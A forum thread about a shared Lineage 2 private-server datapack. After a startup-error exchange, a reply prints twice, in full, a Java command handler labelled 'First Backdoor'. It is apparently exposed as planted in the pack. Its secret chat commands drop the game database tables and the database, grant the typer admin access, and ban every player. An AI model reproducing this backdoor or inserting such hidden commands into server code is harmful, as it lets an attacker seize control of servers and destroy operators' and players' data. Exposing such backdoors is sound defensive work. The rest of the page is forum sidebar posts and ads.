Jump to content

Recommended Posts

Posted

 Karma: 0

Offline

 

Greece

 

Posts: 12

Adenas: 317.00

 

View Inventory

Send Money to alexis6

 

 

 

Re: [share]L2Anime DataPack/Source/BackUp

« Reply #36 on: Today at 01:56:15 PM »

Quote

Starting L2JTeon Game Server.

Visit L2JTeon.servergame.com for updates.

 

Error occurred during initialization of VM

The size of the object heap + VM data exceeds the maximum represe

 

GameServer Terminated Abnormaly, Please Verify Your Files.

 

 

GameServer Terminated.

 

Πιέστε ένα πλήκτρο για συνέχεια. . .

have problem ama einai kaneis ellhnas phte mou

h

 

please speake engils..

 

go to source -> L2Anime-DataPack and copy startgameserver.bat

 

and paste in pack why i have change it for windows server 2008 :)

Posted

no comment

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

Posted

no comment

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

 

 

sorry my friend i have fix this command and more bugs from coyote :)

Guest
This topic is now closed to further replies.


  • Posts

    • TG Support: https://t.me/buyingproxysup | Channel: https://t.me/buyingproxycom Discord support: #buyingproxy | Server: Join the BuyingProxy Discord Server!  Create your free account here
    • I came out of my cave as I do once every 5 years. By now, I know nobody really cares about L2, but I still find it fun to experiment. Everything you see here will be free and open source. I have no interest in selling anything.   Long story short, I like to revisit Interlude and apply what I've learned to see how far I can push it. Here's Outerlude, a public fork of aCis for the modern age.   Video demo:   Work that has been done:   Redone the netcode from scratch to be async The NPC AI was completely redone based on Finite State Machines Moved to PostgreSQL and using some of its cool features Lots of config that should be hot reloadable has moved to the database OpenTelemetry instrumentation, where it makes sense, and a Grafana dashboard A built-in REST API for server management A built-in MCP Server for LLMs Nidrah AI, an AI Agent to make managing the server easier Real-time server map view Chat auditing and live snooping A new Fake Players Engine with a Node logic system and a new LLM planner for any behavior Just watch the video   If there is interest in this and I'm happy with it, or I get bored (which I always do), I will open-source it. Let me know what you think and if there is some feature you'd like me to implement.
    • Hello everyone!   I offer Java development services for L2-like projects.   I have been working with Java since 2015-2016. During the last years I worked on contract Lineage 2 server development and related infrastructure. My main focus is server-side Java, L2JMobius-based forks, custom systems, packets, datapack/XML, SQL/JDBC, optimization and fixing unstable logic.   Experience with: L2JMobius main/original branch; L2JMobius Essence branch; Lucera interlude; Custom L2-like packs where many things were already changed from the original codebase;   What I can help with: custom systems for your pack; skills / effects / triggers / formulas; NPC / AI / scripts; shops / services / buffer / GM shop logic; items / enchant / rewards / missions; special hunting zones, instances, spawn/zone logic; custom packets and server-side integration with existing client UI changes; server-side integration for existing client-side edits/maps/geodata; SQL/JDBC, XML/datapack, XSD, configs; porting mechanics between branches/chronicles; bug fixing, cleanup, legacy refactoring; performance fixes: memory leaks, race conditions, broadcast/task-manager bottlenecks. other server-side game mechanics;   Examples of larger systems I worked on: clan/economy systems: roles, permissions, auction, shop, warehouse, ranks, seasons, history; PvP/event-like systems: territory/conquest mechanics, rankings, rewards, schedules; hunt pass / season pass / progression systems; account panel / web API for a game project; launcher backend, token-login flow, updater tooling; parsers and analyzers for game/client data; internal testing tools for server-side validation.   I can work with Git, separate branches, commits, pull/merge requests or patches, depending on your workflow. For tasks I usually provide a short note about what was changed and what should be tested.   Format: hourly: 15-20 USD/hour, depending on the task; fixed price per task after checking the requirements/code; small task: from 15 USD; payment: USDT; no revenue share and no unpaid test tasks; a small paid task is usually the best way to check quality and communication first. Contact: Discord: @stroke_dan Telegram @castirom
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..